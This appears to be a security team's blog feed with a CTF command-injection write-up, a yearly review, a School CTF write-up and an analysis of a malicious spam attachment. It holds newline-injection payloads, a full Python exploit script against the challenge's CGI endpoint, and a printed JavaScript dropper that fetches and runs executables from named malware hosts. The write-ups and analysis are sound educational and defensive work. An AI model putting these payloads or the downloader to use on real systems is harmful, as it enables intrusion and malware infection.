<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>cat&lt;&lt;EOF&gt;/tmp/file
</span><span class='line'>helloworld
</span><span class='line'>EOF</span></code></pre></td></tr></table></div></figure>




<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>dest=127.0.0.1%0Acat&lt;&lt;EOF&gt;/tmp/file%0Ahelloworld%0AEOF%0Als</span></code></pre></td></tr></table></div></figure>


<p>Everything between <code>EOF</code> and <code>EOF</code> will be written to the file <code>/tmp/file</code>. So the next step was to somehow upload/write a program on the server which would execute the <code>readflag</code> binary and display the flag.</p>

<p>While thinking about a way to write sourcecode which doesn&#8217;t include any blacklisted characters, we ran a <code>HOME=/%0Acd%0Afind&gt;/tmp/files</code> to get a list of all files on the server. The request timed out after a short while, but ran long enough to list some files from <code>/bin</code>, <code>/usr/bin</code> and so on. Some tools we thought may become useful:</p>

<ul>
<li>python2 / python3</li>
<li>gcc / g++</li>
<li>ftp / rsync / curl / wget</li>
<li>gzip / gunzip / zip / unzip</li>
</ul>


<p>I first tried to somehow abuse <code>gzip</code> or <code>zip</code> to compress a string/file which only contained a space and hoped that the output wouldn&#8217;t contain any blacklisted characters. Unfortunately, the unzipping part on the server didn&#8217;t really work. That&#8217;s when Denis had the brilliant idea of using python and a print statements to bypass the filter. In python you don&#8217;t need parenthesis nor spaces to print something:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>print'hello world'</span></code></pre></td></tr></table></div></figure>


<p>Additionally, you can encode characters in python with <code>\xYY</code>. We wrote a shellscript for the <code>readflag</code> binary</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>echo "Give me a...";sleep 2;echo "... flag!"</span></code></pre></td></tr></table></div></figure>


<p>&#8230;and encoded all blacklisted characters:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>print'''echo\x20"Give\x20me\x20a..."\x3bsleep\x202\x3becho\x20"...\x20flag!"'''</span></code></pre></td></tr></table></div></figure>


<p>We then used our here-document-cat to create this python file in <code>/tmp/print.py</code> followed by running python to drop the file: <code>%0Apython&lt;/tmp/print.py&gt;/tmp/getflag.sh</code>.  We repeated this step for a second shellscript which executed our previous one:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>sh /tmp/getflag.sh | /home/smartcat/readflag</span></code></pre></td></tr></table></div></figure>


<p>Finally, we executed the last shellscript to dump the flag <code>%0Ash&lt;/tmp/runflag.sh&gt;/tmp/ourflag</code> and <code>%0Acat&lt;/tmp/ourflag</code> to read it: <code>INS{shells_are _way_better_than_cats}</code></p>

<p>All in all, it was a really cool challenge :)</p>

<p>The team of internetwache.org</p>

<p>Full exploit:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>import requests
</span><span class='line'>
</span><span class='line'># we have a cgi script and can execute remote commands
</span><span class='line'># problem: our command must not include any of: " $;&|({`\t"
</span><span class='line'># we solve this by using python to print the payload into a file
</span><span class='line'># this is we can encode any of the special characters and python doesn't need a whitespace between the print and the ''s
</span><span class='line'>
</span><span class='line'>
</span><span class='line'># upload first script 
</span><span class='line'># echo "Give me a...";sleep 2;echo "... flag!"
</span><span class='line'># encoded: 
</span><span class='line'># print'''echo\\x20\"Give\\x20me\\x20a...\"\\x3bsleep\\x202\\x3becho\\x20\"...\\x20flag!\"'''
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "144"}, data={"dest": "127.0.0.1\ncat&lt;&lt;bbb&gt;/tmp/tftf\nprint'''echo\\x20\"Give\\x20me\\x20a...\"\\x3bsleep\\x202\\x3becho\\x20\"...\\x20flag!\"'''\nbbb"})
</span><span class='line'>
</span><span class='line'># upload second script
</span><span class='line'># /bin/sh /tmp/denis | /home/smartcat/readflag
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "133"}, data={"dest": "127.0.0.1\ncat&lt;&lt;bbb&gt;/tmp/tftf2\nprint'''/bin/sh\\x20/tmp/denis\\x20\\x7c\\x20/home/smartcat/readflag'''\nbbb"})
</span><span class='line'>
</span><span class='line'># interprete first script and write to file
</span><span class='line'># python&lt;/tmp/tftf&gt;/tmp/denis
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "65"}, data={"dest": "127.0.0.1\npython&lt;/tmp/tftf&gt;/tmp/denis"})
</span><span class='line'>
</span><span class='line'># pythin interprete second script and write to file
</span><span class='line'># python&lt;/tmp/tftf2&gt;/tmp/rundenis
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "69"}, data={"dest": "127.0.0.1\npython&lt;/tmp/tftf2&gt;/tmp/rundenis"})
</span><span class='line'>
</span><span class='line'># execute second script and write to denisflag
</span><span class='line'># /bin/sh&lt;/tmp/rundenis&gt;/tmp/denisflag
</span><span class='line'>requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "84"}, data={"dest": "127.0.0.1\n\nHOME=/home/smartcat/\ncd\n/bin/sh&lt;/tmp/rundenis&gt;/tmp/denisflag"})
</span><span class='line'>
</span><span class='line'># read flag file
</span><span class='line'># cat&lt;/tmp/denisflag
</span><span class='line'>t = requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "56"}, data={"dest": "127.0.0.1\ncat&lt;/tmp/denisflag"})
</span><span class='line'>
</span><span class='line'>print t.text</span></code></pre></td></tr></table></div></figure>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Looking back at 2015]]></title>
    <link href="https://en.internetwache.org/looking-back-at-2015-04-01-2016/"/>
    <updated>2016-01-04T15:32:00+01:00</updated>
    <id>https://en.internetwache.org/looking-back-at-2015</id>
    <content type="html"><![CDATA[<p>It has become tradition to write a short review of the last year and the plans for the next one.</p>

<!-- more -->


<h2>The year 2015</h2>

<p>In 2015 we did not spend much time on the project internetwache.org compared to the years before. The low count of published articles (9 blogposts) and also the drop of positions on plattforms like <a href="https://bugcrowd.com/internetwache">Bugcrowd</a> or <a href="https://hackerone.com/internetwache">HackerOne</a> testify this. There are apparently not only not-sleeping competitors, but we have also been busy with our jobs, university or other projects.</p>

<p>But once we published an article on Internetwache.org, it often was thought-out and a well-structured research, which was discussed by a large audience or at least out Twitter followers.</p>

<p>It is a honour that our research on the <a href="https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/">AXFR-Transfer of the Alexa Top 1M</a> lead to one of twelve <a href="https://www.us-cert.gov/ncas/alerts/TA15-103A">alerts of the US-CERT</a> in 2015 and was also covered in a lot of press articles.</p>

<p>A similar research which focused on <a href="https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/">non-protected Git-Repositories</a> didn&#8217;t get a lot of attention from the security community, because other researchers published similar results a couple of days earlier - but we are quite happy with our results and the new knowledge.</p>

<p>There were a few other research ideas, but until now we did not find any time for a concrete plan to work on it. We hope that we&#8217;ll find the time in 2016 and succeed to present nice results on our blog.</p>

<p>Sebastian launched some other projects. For example a security-blog for personal stuff and research that doesn&#8217;t fit Internetwache.org: <a href="https://0day.work">0day.work</a>. On the beginning of the year 2015 he
also released the <a href="https://bugbounty.me">Bugbounty Portal</a>, which doesn&#8217;t have a lot of activity until now.</p>

<p>Tim achieved a long pursued goal and finished his first book <a href="http://amzn.to/1Z0ipxA">&#8220;Hacking im Web&#8221;</a>. It also features some blogposts from internetwache.org and will be available in german only. The book consists of nearly 500 pages and will be published at the &#8220;Franzis Verlag&#8221; during the first quarter of 2016.</p>

<p>To finish off 2015 with a bang, Sebastian and Tim met on the 32nd Chaos Communication Congress (32C3) in Hamburg. As always it was fun we learnt a lot of new stuff. Sebastian even met a Cloudflare securtity engineer by just wearing the Cloudflare-bugbounty-T-shirt.</p>

<h2>Outlook for 2016</h2>

<p>We&#8217;re planning for to do more &#8216;generic&#8217; research as showed above and try to warn about global problems. We think that this helps to get an overview of the current state of websecurity and that it will help more administrators than, for example, check only some specific webapplications. Nevetheless we&#8217;re still going to participate in bugbounty programs and stick to <a href="https://en.internetwache.org/idea/">the general idea of internetwache.org</a>.</p>

<p>The follower count on our <a href="https://twitter.com/internetwache">@internetwache</a> slowly approaches the magic number of &#8220;1000&#8221; - that&#8217;s why we will be doing a community event, but we do not want to spoil too much now. Stay tuned!</p>

<p>Since the beginning of internetwache (in 2012) our main focus has been web-application security, but we’re always looking on other things, too. Sebastian is going to dive into mobile application security soon and Tim wants to explore the security of SCADA and ICS and find out about
information ethics.</p>

<p>Good luck for 2016!</p>

<p>The team of internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[School CTF 2015 Writeups]]></title>
    <link href="https://en.internetwache.org/school-ctf-2015-writeups-06-11-2015/"/>
    <updated>2015-11-06T19:59:00+01:00</updated>
    <id>https://en.internetwache.org/school-ctf-2015-writeups</id>
    <content type="html"><![CDATA[<p><a href="https://ctftime.org/event/254">School-CTF</a> was a short 5 hour CTF. Nevertheless, they offered awesome challenges and it was fun. Internetwache made it to the 17th place.</p>

<!-- more -->


<p>The jury posted their sample solutions and most of them don&#8217;t differ to ours. So we&#8217;re just going to write about solutions which we approached differently.</p>

<h1>Admin 200: Awesome web</h1>

<p>After saving the private key <code>admin</code>, you could connect to one of the SSH ports:</p>

<pre><code> ssh -v -p 15026 -i /tmp/admin.key -F /dev/null admin@sibears.ru
</code></pre>

<p>A simple shell welcomed us:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>admin:~$ ls
</span><span class='line'>flag.txt
</span><span class='line'>admin:~$ ?
</span><span class='line'>cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo</span></code></pre></td></tr></table></div></figure>


<p>You can see the flag, but you only have a limited set of commands. I gave <code>history</code> a try and scrolled through the commands of other CTF participants (at least I didn&#8217;t use the majority of the commands). Luckly I discovered a strange looking string therein which turned out to be the correct flag: <code>4dm1n_1s_1mp0r74nt_m^^mk3y</code></p>

<p>We didn&#8217;t think that this was the intended solution, so we wanted to see if we could extract the flag ourself. We learned that there are more restrictions than just a limited set of commands:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>admin:~$ ls /
</span><span class='line'>*** forbidden path: /
</span><span class='line'>admin:~$ echo $(&lt; flag.txt)
</span><span class='line'>*** forbidden syntax: echo $(&lt; flag.txt)</span></code></pre></td></tr></table></div></figure>


<p>After playing around for a while and almost giving up because of the <code>forbidden syntax</code>-error, we tried the following command:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>admin:~$ echo "$(cat flag.txt)"
</span><span class='line'>4dm1n_1s_1mp0r74nt_m^^mk3y</span></code></pre></td></tr></table></div></figure>


<p>YAY - But we still haven&#8217;t figured out if that&#8217;s a legit solution or a bypass for the filters.</p>

<h1>Crypto 100: Lazy cryptanalyst</h1>

<p>We didn&#8217;t google for the website in the picture, but started to write a small python script to substitute the characters:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>text = "bsxz [....] qoiy."
</span><span class='line'>
</span><span class='line'>newtext = ""
</span><span class='line'>
</span><span class='line'>switch = {  'b':'t',
</span><span class='line'>          's':'h',
</span><span class='line'>          'x':'i',
</span><span class='line'>          'z':'s',
</span><span class='line'>          'u':'f',
</span><span class='line'>          'm':'y',
</span><span class='line'>          'o':'m',
</span><span class='line'>          'i':'e',
</span><span class='line'>          'q':'a',
</span><span class='line'>          'g':'o',
</span><span class='line'>          'v': 'l',
</span><span class='line'>          'h':'u',
</span><span class='line'>          'f': 'w',
</span><span class='line'>          'y': 'n',
</span><span class='line'>          'j':'k',
</span><span class='line'>          'w': 'b',
</span><span class='line'>          'e':'d',
</span><span class='line'>          'l':'g'
</span><span class='line'>          }
</span><span class='line'>for char in text:
</span><span class='line'>  if char in switch:
</span><span class='line'>      char = switch[char]
</span><span class='line'>  newtext += char
</span><span class='line'>print(newtext)</span></code></pre></td></tr></table></div></figure>


<p>After solving it this way, <a href="https://twitter.com/nobbd">Denis</a> hinted a website <a href="http://quipqiup.com/index.php">quipqiup.com</a> which instantly found the correct substitutions.</p>

<h1>Joy 100: Highly professional</h1>

<p>The only difference to the given solution was, that we used <a href="https://support.google.com/websearch/answer/1325808?hl=en">Google&#8217;s reverse image search</a> to find out that is has something to do with the hacker serie <code>Mr. Robot</code>. Googling further lead to a wiki which listed the names of three employees. One of them was the flag: <code>Gideon_Goddard</code></p>

<h1>Stegano 100: Pure color</h1>

<p>The sample solution uses MS Paint to change the background color. Using GIMP we played around with the color curves of red, green &amp; blue. Moving the blue color curve to the right-hand bottom corner revealed the yellow label with the flag: <code>flag_is_this_is_a_simple_stego</code></p>

<h1>Flags</h1>

<p>Here&#8217;s a list with all services we solved:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>admin200: FLAG_G0D_DAMN_BR0_U_R_S0_C00L_DECRYPTOR
</span><span class='line'>crypt100: a day without blood is like a day without sunshine
</span><span class='line'>crypt200: remember_the_plaintext
</span><span class='line'>joy100: Gideon_Goddard
</span><span class='line'>web100: l375_$7ar7_w3b_h4ck5
</span><span class='line'>steg100: true_steganographers_doesnt_need_any_tools
</span><span class='line'>steg200: flag_is_this_is_a_simple_stego
</span><span class='line'>admin200: 4dm1n_1s_1mp0r74nt_m^^mk3y
</span><span class='line'>web200: n0t_0nly_1nj3ct10ns_4r3_d4ng3r0us
</span><span class='line'>exploit100: thanks_god_we_got_not_only_binaries
</span><span class='line'>ppc200: flag_1s_1t_w@s_t00_easy
</span><span class='line'>joy200: flag_is_dont_let_apples_hit_your_brain (strings on level0)
</span><span class='line'>ppc400: ~y@y_I_cod3d_!7_^^
</span><span class='line'>web400: U_c4n_b3_v3ry_us3ful_0n_upc0m1ng_3l3ct10ns
</span><span class='line'>admin300: Flag_is_{7Ru3_4dM1n_C4N_D0_4Ny7h1NG_Fr0M_C0MM4nD_L1N3}
</span><span class='line'>exploit300: every_haxor_loves_EvAlS</span></code></pre></td></tr></table></div></figure>


<p>The team of internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Disassembling another spam mail]]></title>
    <link href="https://en.internetwache.org/disassembling-another-spam-mail-01-11-2015/"/>
    <updated>2015-11-01T20:36:00+01:00</updated>
    <id>https://en.internetwache.org/disassembling-another-spam-mail</id>
    <content type="html"><![CDATA[<p>Today Sebastian opened his mailbox and saw a new email popping up. <em>You have received fax, document 00311594</em> from <em>incoming@interfax.net</em> with a file attached. Let&#8217;s have a closer look at it :)</p>

<!-- more -->


<p>First of all, here&#8217;s an screenshot of the email:</p>

<p><a rel="fancybox"href="/images/posts/email-fax-spam.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/email-fax-spam.png" alt="Screenshot of spam mail with fax attachment" title="Spam mail with fax attachment" /></a></p>

<p>Let&#8217;s go on and have a look at the headers:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>Received: from unknown (HELO br184.hostgator.com.br) (192.185.176.27)
</span><span class='line'>[..]
</span><span class='line'>From: "Interfax" &lt;incoming@interfax.net&gt;
</span><span class='line'>Reply-To: "Interfax" &lt;incoming@interfax.net&gt;
</span><span class='line'>[..]
</span><span class='line'>X-PHP-Script: www.temnoboqueirao.com.br/post.php for 213.198.53.247
</span><span class='line'>[..]
</span><span class='line'>X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
</span><span class='line'>X-AntiAbuse: Primary Hostname - br184.hostgator.com.br
</span><span class='line'>X-AntiAbuse: Original Domain - internetwache.org
</span><span class='line'>X-AntiAbuse: Originator/Caller UID/GID - [30210 500] / [47 12]
</span><span class='line'>X-AntiAbuse: Sender Address Domain - br184.hostgator.com.br
</span><span class='line'>X-BWhitelist: no
</span><span class='line'>X-Source-IP: 
</span><span class='line'>X-Exim-ID: 1Zskih-0002l3-D7
</span><span class='line'>X-Source: /usr/bin/php
</span><span class='line'>X-Source-Args: /usr/bin/php /home/temno589/public_html/post.php 
</span><span class='line'>X-Source-Dir: temnoboqueirao.com.br:/public_html
</span><span class='line'>X-Source-Sender: 
</span><span class='line'>X-Source-Auth: temno589
</span><span class='line'>X-Email-Count: 259
</span><span class='line'>X-Source-Cap: dGVtbm81ODk7dGVtbm81ODk7YnIxODQuaG9zdGdhdG9yLmNvbS5icg==</span></code></pre></td></tr></table></div></figure>


<p>We&#8217;ve notified hostgator about this probably compromised hosting account. Someone seems to use a simple PHP-script to distribute spam. Interestingly, interfax.net has a SPF record, so we&#8217;re wondering why this email had not been rejected by our hoster.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; dig TXT interfax.net +short | grep spf 
</span><span class='line'>"v=spf1 ptr mx ip4:194.169.197.0/24 ip4:198.90.20.0/27 ip4:50.23.155.98 ip4:94.228.32.66 ip4:54.246.94.152 ip4:94.228.33.224/27 include:_spf.google.com -all"</span></code></pre></td></tr></table></div></figure>


<p>The attachment is a zip file called <code>scan-00311594.zip</code> and it contains a javascript file:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt;unzip -l scan-00311594.zip 
</span><span class='line'>Archive:  scan-00311594.zip
</span><span class='line'>  Length      Date    Time    Name
</span><span class='line'>---------  ---------- -----   ----
</span><span class='line'>     9558  2015-11-01 02:58   scan-00311594.doc.js
</span><span class='line'>---------                     -------
</span><span class='line'>     9558                     1 file</span></code></pre></td></tr></table></div></figure>


<p><a href="https://paste.internetwache.org/?895680390ce2cf97#NvZPjhCkmmEYR7+moElirbEe3W0crsALPKE/IY7HDmw=">Here&#8217;s the raw content</a> and now <a href="https://paste.internetwache.org/?f7bdfcd47477f922#1yJc4snVogyjWjbS90rjVT6P2KE67x0rdO6tTB28+ZM=">reformatted and more readable</a>. Please note that we&#8217;ve modified two lines in the latter one to use <code>console.log()</code> instead of <code>eval()</code>. Running it gives the following output:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>var b = "j-hsu.com kennedy.sitoserver.com arivusampark.com".split(" "); var ws = WScript.CreateObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+"499925"; var xo = WScript.CreateObject("MSXML2.XMLHTTP"); var xa = WScript.CreateObject("ADODB.Stream"); var ld = 0; for (var n=1; n&lt;=3; n++) { for (var i=ld; i&lt;b.length; i++) { var dn = 0; try { xo.open("GET","http://"+b[i]+"/counter/?id="+str+"&rnd=339019"+n, false); xo.send(); if (xo.status == 200) { xa.open(); xa.type = 1; xa.write(xo.responseBody); if (xa.size &gt; 1000) { dn = 1; xa.position = 0; xa.saveToFile(fn+n+".exe",2); try { ws.Run(fn+n+".exe",1,0); } catch (er) { }; }; xa.close(); }; if (dn == 1) { ld = i; break; }; } catch (er) { }; }; };</span></code></pre></td></tr></table></div></figure>


<p>Doing some reformatting again&#8230;.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>var b = "j-hsu.com kennedy.sitoserver.com arivusampark.com".split(" ");
</span><span class='line'>var ws = WScript.CreateObject("WScript.Shell");
</span><span class='line'>var fn = ws.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+"499925";
</span><span class='line'>var xo = WScript.CreateObject("MSXML2.XMLHTTP");
</span><span class='line'>var xa = WScript.CreateObject("ADODB.Stream");
</span><span class='line'>var ld = 0;
</span><span class='line'>for (var n=1; n&lt;=3; n++) {
</span><span class='line'>        for (var i=ld; i&lt;b.length; i++) {
</span><span class='line'>                var dn = 0;
</span><span class='line'>                try {
</span><span class='line'>                        xo.open("GET","http://"+b[i]+"/counter/?id="+str+"&rnd=339019"+n, false);
</span><span class='line'>                        xo.send();
</span><span class='line'>                        if (xo.status == 200) {
</span><span class='line'>                                xa.open();
</span><span class='line'>                                xa.type = 1;
</span><span class='line'>                                xa.write(xo.responseBody);
</span><span class='line'>                                if (xa.size &gt; 1000) {
</span><span class='line'>                                        dn = 1;
</span><span class='line'>                                        xa.position = 0;
</span><span class='line'>                                        xa.saveToFile(fn+n+".exe",2);
</span><span class='line'>                                        try {
</span><span class='line'>                                                ws.Run(fn+n+".exe",1,0);
</span><span class='line'>                                        } catch (er) { };
</span><span class='line'>                                };
</span><span class='line'>                                xa.close();
</span><span class='line'>                        };
</span><span class='line'>                        if (dn == 1) {
</span><span class='line'>                                ld = i;
</span><span class='line'>                                break;
</span><span class='line'>                        };
</span><span class='line'>               } catch (er) { };
</span><span class='line'>        };
</span><span class='line'>};</span></code></pre></td></tr></table></div></figure>


<p><a href="https://msdn.microsoft.com/en-us/library/at5ydy31%28%76%3d%76%73%2e%38%34%29.aspx">Wscript</a> is an object which provides access to the window script host. With that, the script creates a <code>WshShell</code> object which can be used to run programs locally. It&#8217;s already obvious where this is going&#8230;. It tries to downlaod three different files (<code>rnd=</code>: <code>3390191</code>, <code>3390192</code>, <code>3390193</code>) from the following urls, executing them afterwards:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>http://j-hsu.com/counter/?id=5552565E1001171056240D0A1001160A01101305070C014A0B16035E3C5E1001090A0B060B1511010D16050B4A070B094A06165E17575E555050525751575D5D565E55&rnd=3390191
</span><span class='line'>http://kennedy.sitoserver.com/counter/?id=5552565E1001171056240D0A1001160A01101305070C014A0B16035E3C5E1001090A0B060B1511010D16050B4A070B094A06165E17575E555050525751575D5D565E55&rnd=3390192
</span><span class='line'>http://arivusampark.com/counter/?id=5552565E1001171056240D0A1001160A01101305070C014A0B16035E3C5E1001090A0B060B1511010D16050B4A070B094A06165E17575E555050525751575D5D565E55&rnd=3390193</span></code></pre></td></tr></table></div></figure>


<p>It will save them to <code>%TEMP%\4999251.exe</code>, <code>%TEMP%\4999252.exe</code> and <code>%TEMP%\4999253.exe</code>.</p>

<p>We decided to download them manually with curl:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; md5sum drop.exe.rev.*
</span><span class='line'>dcd46cecc84d08c220a8a464d2654b81  drop.exe.rev.1
</span><span class='line'>df29fe12dad8810cdc80790167954401  drop.exe.rev.2
</span><span class='line'>2fc2e5816852abf7071364fa4625aaa2  drop.exe.rev.3</span></code></pre></td></tr></table></div></figure>


<p>The files aren&#8217;t that big:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; du -sb drop.exe.rev.*
</span><span class='line'>234018        drop.exe.rev.1
</span><span class='line'>235008        drop.exe.rev.2
</span><span class='line'>467456        drop.exe.rev.3</span></code></pre></td></tr></table></div></figure>


